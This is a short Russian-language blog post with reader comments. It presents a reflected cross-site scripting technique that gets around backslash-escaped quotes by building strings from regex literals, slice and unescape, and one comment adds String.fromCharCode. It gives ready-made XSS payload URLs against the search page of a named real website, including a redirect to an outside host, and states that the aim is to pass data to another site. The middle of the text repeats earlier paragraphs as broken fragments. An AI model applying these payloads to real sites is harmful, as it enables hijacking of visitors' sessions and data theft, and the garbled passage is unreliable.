XSS
С досады придумал способ использования XSS-уязвимости в случае, если на сайте кавычки и апострофы экранируются слешами. Рассмотрим, например, сайт Tatcenter.
Запрос вида: httр://info.tatcenter.ru/search/?search="><script>location.href="httр://sample.com"</script>
Поможет нам закрыть теги INPUT и A, в которых выводится запрос, потому что строка приводится к виду: …search=\"><script>….
но не выполнить JavaScript не удасться, так какиз-за экранирования кавычек нарушается JavaScript-код. Выход нашёлся очень быстро — я вспомнил, что в JavaScript уже давным-давно введён новый тип данные — регулярное выражение. Его ограничители — обычные слеши. Более того, регулярное выражение отлично приводится к строке самим JavaScript, единственное неудобство — слеши-ограничители остаются в строке.
Но! Никто нам не мешает, преобразовав это выражение к строке просто отрезать слеши методом substr или slice. Например , выражение
String(/string/).slice(1,-1)
даст нам строку «string». Прекрасно, но тут перед нами встаёт новая трудность. ОбычноXSS-уязвимость используется для того, чтобы передать какую-либо информацию на другой сайт. Для того, чтобы её передать, нам надо получить строку вида «httр://sample.com», но мы не можем её заключить между слешами — она сама содержит слеши.
Тут нам на выручку приходитJavaScript-метод unescape. Слеш в escaped-представлении выглядит как «%2F», таким образом
unescape(String(/httр:%2F%2F/).slice(1,-1))
даст нам строку «httр://». Осталось только скомпоновать всё в одну строку и не забыть, что «%» — значимый символ в URL и его надо преобразовать в комбинацию «%25»:
httр://info.tatcenter.ru/search/?search="><script>alert(unescape(String(/a%252Faa/).slice(1,-1)))</script>
Запрос вида: httр://info.tatcenter.ru/search/?search="><script>location.href="httр://sample.com"</script>
Поможет нам закрыть теги INPUT и A, в которых выводится запрос, потому что строка приводится к виду: …search=\"><script>….
но не выполнить JavaScript не удасться, так как
Но! Никто нам не мешает, преобразовав это выражение к строке просто отрезать слеши методом substr или slice. Например , выражение
даст нам строку «string». Прекрасно, но тут перед нами встаёт новая трудность. Обычно
Тут нам на выручку приходит
unescape(String
даст нам строку «httр://». Осталось только скомпоновать всё в одну строку и не забыть, что «%» — значимый символ в URL и его надо преобразовать в комбинацию «%25»:
httр://info.tatcenter.ru/search/?search="><script>alert(unescape(String(/a%252Faa/).slice(1,-1)))</script>
Комментарии 4
Строку также можно получить используя
String.fromCharCode(104,116,116,112,58,47,47,115,97,109,112,108,101,46,99,111,109)
Сайт разные бывают. Я вот привёл конкретный пример.
Я думал это отвлеченный пример, ибо этот домен у меня не открывается.